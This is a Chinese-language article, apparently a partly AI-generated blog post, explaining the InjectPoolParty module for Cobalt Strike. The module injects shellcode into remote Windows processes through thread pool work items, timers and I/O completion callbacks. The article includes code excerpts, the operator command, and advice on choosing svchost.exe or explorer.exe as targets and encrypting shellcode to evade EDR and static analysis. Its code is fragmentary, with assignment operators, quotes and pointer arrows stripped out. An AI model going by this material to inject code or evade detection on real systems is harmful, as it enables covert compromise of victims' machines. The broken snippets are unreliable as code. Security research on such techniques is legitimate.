
从源码到实战OperatorsKit中InjectPoolParty的线程池注入原理【免费下载链接】OperatorsKitCollection of Beacon Object Files (BOF) for Cobalt Strike项目地址: https://gitcode.com/gh_mirrors/op/OperatorsKitOperatorsKit是一个专注于Cobalt Strike Beacon Object Files (BOF)开发的开源项目其中InjectPoolParty模块提供了通过Windows线程池实现shellcode注入的高级技术。本文将从核心原理到实战应用深入解析这一模块如何利用系统原生机制实现隐蔽的代码执行。线程池注入现代对抗中的技术优势在传统注入技术如CreateRemoteThread普遍被EDR监控的背景下线程池注入凭借其系统原生性和低检测性成为高级渗透测试的优选方案。InjectPoolParty模块通过三种不同的线程池利用方式TP_TIMER/TP_DIRECT/TP_WORK实现无创建线程API调用的代码注入有效规避常规安全检测。核心优势解析无明显恶意API调用避免使用CreateRemoteThread等敏感函数系统行为模拟利用Windows线程池管理机制行为更接近正常进程多向量注入支持提供三种不同注入路径适应不同环境场景InjectPoolParty的技术实现架构InjectPoolParty的核心实现位于KIT/InjectPoolParty/injectpoolparty.c文件中主要包含四大功能模块进程句柄劫持、内存操作、线程池结构操作和注入向量管理。关键数据结构定义模块通过injectpoolparty.h定义了多种Windows内核结构的映射如线程池对象FULL_TP_POOL、工作项FULL_TP_WORK和定时器FULL_TP_TIMER等这些结构是实现线程池劫持的基础typedef struct _FULL_TP_POOL { struct _TPP_REFCOUNT Refcount; union _TPP_POOL_QUEUE_STATE QueueState; struct _TPP_QUEUE* TaskQueue[3]; struct _TPP_TIMER_QUEUE TimerQueue; // 更多结构成员... } FULL_TP_POOL, * PFULL_TP_POOL;这些结构定义使模块能够直接操作进程内存中的线程池数据为后续的代码注入铺平道路。进程句柄劫持技术InjectPoolParty通过HijackProcessHandle函数实现目标进程句柄的获取这是实现跨进程注入的关键步骤HANDLE HijackProcessHandle(PWSTR targetType, HANDLE targetProcess, DWORD accessRights) { // 通过NtQueryInformationProcess枚举进程句柄 // 匹配目标类型如TpWorkerFactory、IRTimer // 复制具有所需访问权限的句柄 }该函数利用NtQueryInformationProcess获取进程句柄表通过对象类型匹配如TpWorkerFactory筛选出可用于注入的线程池相关句柄避免直接打开敏感句柄带来的检测风险。三种注入向量的实现原理InjectPoolParty提供三种不同的线程池注入方式适应不同的系统环境和防御机制。TP_WORK工作项队列注入实现路径RemoteTpWorkInsertion函数核心原理通过操作线程池工作项队列将shellcode作为工作项插入执行队列关键步骤读取目标进程的线程池结构信息创建恶意工作项FULL_TP_WORK并设置回调为shellcode地址修改队列链表指针将恶意工作项插入高优先级任务队列pTpWork-Task.ListEntry.Flink TargetTaskQueueHighPriorityList; pTpWork-Task.ListEntry.Blink TargetTaskQueueHighPriorityList;这种方式利用系统线程池调度机制使shellcode在正常工作线程中执行具有极高的隐蔽性。TP_TIMER定时器事件注入实现路径RemoteTpTimerInsertion函数核心原理通过构造定时器对象将shellcode作为定时回调执行与工作项注入相比定时器注入增加了时间维度控制可用于实现延迟执行或周期性任务LARGE_INTEGER ulDueTime { 0 }; ulDueTime.QuadPart Timeout; // 设置超时时间 NtSetTimer2_t pNtSetTimer2 (NtSetTimer2_t)GetProcAddress(...); pNtSetTimer2(hTimer, ulDueTime, 0, Parameters);TP_DIRECTI/O完成端口注入实现路径RemoteTpDirectInsertion函数核心原理利用I/O完成端口机制将shellcode作为I/O完成回调执行这种方式通过ZwSetIoCompletion设置I/O完成端口的回调函数当有I/O操作完成时触发shellcode执行Direct.Callback shellcodeAddress; // 设置回调为shellcode地址 PTP_DIRECT RemoteDirectAddress VirtualAllocEx(...); WriteProcessMemory(hTargetPid, RemoteDirectAddress, Direct, sizeof(TP_DIRECT), NULL); ZwSetIoCompletion(hIoCompletion, RemoteDirectAddress, 0, 0, 0);完整注入流程解析InjectPoolParty的主函数go实现了完整的注入流程从参数解析到最终执行可分为四个阶段1. 参数解析与初始化BeaconDataParse(parser, args, len); option BeaconDataExtract(parser, NULL); // 注入方式(TP_TIMER/TP_DIRECT/TP_WORK) pid BeaconDataInt(parser); // 目标进程ID code BeaconDataExtract(parser, code_len); // shellcode数据2. 目标进程内存操作通过WriteCode函数在目标进程中分配内存并写入shellcode设置适当的内存保护属性PVOID WriteCode(HANDLE hProc, unsigned char * code, unsigned int code_len) { pAddress VirtualAllocEx(hProc, NULL, code_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(hProc, pAddress, code, code_len, NULL); VirtualProtectEx(hProc, pAddress, code_len, PAGE_EXECUTE_READ, dwOld); return pAddress; }3. 注入向量选择与执行根据输入参数选择相应的注入方式以TP_WORK为例if (strcmp(option, TP_WORK) 0) { hWorkerFactory HijackProcessHandle(LTpWorkerFactory, hProc, WORKER_FACTORY_ALL_ACCESS); RemoteTpWorkInsertion(hWorkerFactory, pAddress, hProc); }4. 资源清理与结果反馈完成注入后清理句柄资源并通过BeaconPrintf返回执行结果BeaconPrintf(CALLBACK_OUTPUT, Successfully injected code in process ID [%d] at memory address [%p]., pid, pAddress);实战应用与注意事项环境准备使用InjectPoolParty前需准备以下环境Cobalt Strike 4.0环境已编译的BOF文件可通过KIT/InjectPoolParty/bofcompile.bat编译目标系统需为Windows 7及以上版本支持线程池API基本使用方法在Cobalt Strike中加载OperatorsKit.cna后可通过以下命令使用InjectPoolPartyinjectpoolparty [注入方式] [目标PID] [shellcode]常用注入方式参数TP_WORK工作项队列注入推荐默认使用TP_TIMER定时器事件注入适合延迟执行TP_DIRECTI/O完成端口注入适合I/O密集型进程检测规避建议为提高注入成功率建议选择系统进程或常用应用进程作为目标如svchost.exe、explorer.exe根据目标进程特性选择合适的注入向量结合内存加密技术保护shellcode免被静态分析总结与扩展InjectPoolParty作为OperatorsKit项目的重要模块展示了如何通过深入理解Windows内核机制实现高级代码注入技术。其多向量注入设计不仅提供了灵活的使用选择也为安全研究人员提供了对抗现代防御机制的新思路。项目后续可扩展方向增加更多线程池利用向量如TP_WAIT实现动态注入向量选择集成shellcode变形功能通过学习和研究InjectPoolParty的实现安全从业者可以更深入地理解Windows系统内部机制提升在复杂环境下的渗透测试能力。完整源码可参考项目中的KIT/InjectPoolParty目录建议结合Windows内核文档进行深入分析。【免费下载链接】OperatorsKitCollection of Beacon Object Files (BOF) for Cobalt Strike项目地址: https://gitcode.com/gh_mirrors/op/OperatorsKit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考